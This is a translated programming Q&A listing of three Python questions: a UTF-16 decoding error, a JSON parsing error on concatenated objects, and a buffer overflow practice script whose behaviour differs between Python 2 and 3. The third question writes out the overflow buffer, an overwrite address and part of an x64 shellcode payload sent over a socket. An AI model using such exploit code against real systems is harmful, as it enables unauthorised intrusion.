小编use*_*071的帖子

UnicodeDecodeError:'utf-8'编解码器无法解码字节错误

我正在尝试获取响应urllib并将其解码为可读格式.该文本是希伯来语,也包含像{和的字符/

首页编码是:

# -*- coding: utf-8 -*-
Run Code Online (Sandbox Code Playgroud)

原始字符串是:

b'\xff\xfe{\x00 \x00\r\x00\n\x00"\x00i\x00d\x00"\x00 \x00:\x00 \x00"\x001\x004\x000\x004\x008\x003\x000\x000\x006\x004\x006\x009\x006\x00"\x00,\x00\r\x00\n\x00"\x00t\x00i\x00t\x00l\x00e\x00"\x00 \x00:\x00 \x00"\x00\xe4\x05\xd9\x05\xe7\x05\xd5\x05\xd3\x05 \x00\xd4\x05\xe2\x05\xd5\x05\xe8\x05\xe3\x05 \x00\xd4\x05\xea\x05\xe8\x05\xe2\x05\xd4\x05 \x00\xd1\x05\xde\x05\xe8\x05\xd7\x05\xd1\x05 \x00"\x00,\x00\r\x00\n\x00"\x00d\x00a\x00t\x00a\x00"\x00 \x00:\x00 \x00[\x00]\x00\r\x00\n\x00}\x00\r\x00\n\x00\r\x00\n\x00'
Run Code Online (Sandbox Code Playgroud)

现在我正在尝试使用以下方法解码它:

 data = data.decode()
Run Code Online (Sandbox Code Playgroud)

我收到以下错误:

UnicodeDecodeError: 'utf-8' codec can't decode byte 0xff in position 0: invalid start byte
Run Code Online (Sandbox Code Playgroud)

python encoding urllib utf-8

10
推荐指数
1
解决办法
3万
查看次数

ValueError:额外数据:加载JSON时

我有加载JSON的问题.

response = conn.getresponse()
data = response.read().decode('utf-8')
print ("raw data >> ", data)
data1 = json.loads(data)
print (data1)
Run Code Online (Sandbox Code Playgroud)

给我一个错误:

raw data >>  {"Len":"0000000000000376"}{"PipeType":2,"Content":{"ActionType":1,"Data":{"UserID":12,"RoomID":1,"UserData":{"NickName":"Koko","MoreAboutMe":null,"Age":21,"Man":false,"Area":9,"HaveCam":false,"isOldPoll":false,"LoginTime":635292689335460656,"RoomEnter":635292689335460656,"FacebookId":null,"Email":null,"FirstName":null,"LastName":null,"BirthDate":null,"FacebookLink":null,"Rank":-1}}}}{"Len":"0000000000000159"}{"PipeType":2,"Content":{"ActionType":3,"Data":{"Message":"no matter","ColorID":0,"UserID":13,"UserNick":"Jovani","SentDate":null,"Rank":null}}}
Exception in Tkinter callback
...
ValueError: Extra data: line 1 column 26 - line 1 column 587 (char 26 - 587)
Run Code Online (Sandbox Code Playgroud)

有任何想法吗?

谢谢

python json

3
推荐指数
1
解决办法
5094
查看次数

Python3和Python2之间的区别-socket.send数据

我正在练习一些缓冲区溢出技术,但是在发送已存储的数据时遇到了一个奇怪的问题。

我有这两个几乎相同的代码,除了在Python3代码中,我更改了sock.send以编码字符串(在Python2中不需要)

Python2代码:

import socket,sys
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect ((sys.argv[1], 10000))

buffer = "A"*268
buffer += "\x70\xfb\x22\x00"

#PAYLOAD:
buffer += ("\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
...
"\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5")

sock.send (buffer)
sock.close
Run Code Online (Sandbox Code Playgroud)

Python 3代码:

import socket,sys
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect ((sys.argv[1], 10000))

buffer = "A"*268
buffer += "\x70\xfb\x22\x00"

#PAYLOAD:
buffer += ("\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
...
"\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5")

sock.send (buffer.encode())
sock.close
Run Code Online (Sandbox Code Playgroud)

我发送缓冲区,然后使用抗扰度调试器检查EIP / SEP值,我发现在Python2代码和Python3代码之间得到了不同的值。那怎么可能?

两者的缓冲区相同,因此调试器中的EIP / SEP应该相同。

换句话说,从服务器的角度来看(获取套接字数据)看起来它获取了不同的数据结构或类似的东西。

有任何想法吗?

谢谢。

sockets buffer-overflow python-3.x

3
推荐指数
1
解决办法
4266
查看次数

标签 统计

python ×2

buffer-overflow ×1

encoding ×1

json ×1

python-3.x ×1

sockets ×1

urllib ×1

utf-8 ×1